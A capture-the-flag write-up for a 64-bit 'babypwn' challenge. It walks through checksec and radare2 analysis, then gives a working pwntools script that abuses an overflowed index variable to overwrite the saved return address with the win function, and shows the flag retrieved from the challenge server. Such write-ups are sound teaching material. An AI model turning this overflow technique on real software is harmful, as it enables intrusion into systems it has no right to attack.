Intro
This is the second pwn challenge. It was solved 36 times and it’s worth 451 points.
Description:
You don’t need eip control for every pwn.
You can download the binary here
$ sha256sum ./babypwn
57b32556465e890bdefdcccd6e515f6a2888300f48e9b7a7df0bb66694bda45b babypwn
Exploitation
The program asks five input, echoes them back and prints a message of failure. However there is a segfault caused by a buffer overflow.
$ ./babypwn
1
2
3
4
5
1
2
3
4
5
Naaa , Try HArder
$ ./babypwn
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
$ checksec ./babypwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
I opened with r2 and there are two interesting functions: win and nope.
The former prints the flag, the latter prints: Naaa , Try HArder.

The address of the nope function is inserted at var_40h, in the first block of the main function

And it will be used as pointer to function after the echo of the input.

So the initial idea was: overwrite the content at var_40h with the address of win.
But the program reads ‘just’ 16 chars with fgets, starting from var_50h. So we cannot overwrite directly [var_40h], except the lsb with 0x00.

However we can overwrite [var_44h] that is used as offset of var_30h.
Specifically our input will be copied to var_30h + var_44h*8.
So, because the offset between the saved EIP and var_30h is 56, if [var_44h] is 7 we can overwrite the saved EIP with the strncpy and pwn the program.
This is the exploit:
Incidentally (maybe voluntarily) the payload length is 16. So the lsb of [var_40h] is overwritten with 0x00. The new address (0x00400800) points to a ret. So it just works.
from pwn import *
prog = context.binary = ELF("PATH_TO_THE_BINARY", checksec=False)
if len(sys.argv) > 1:
host = "68.183.158.95"
port = 8990
t = remote(host, port)
else:
t = prog.process()
offset = 4
payload = p64(prog.symbols["win"]) #var_50h
payload += "A"*offset #var_48h
payload += p32(0x7) #var_44h
t.sendline(payload)
t.recvuntil("Yay , Here's the flag\n")
print t.recvline()
t.close()
Here’s the flag:
$ ./exploit.py 1
[+] Opening connection to 68.183.158.95 on port 8990: Done
d4rk{B0fs_4r3_3zzzz}c0de
[*] Closed connection to 68.183.158.95 port 8990
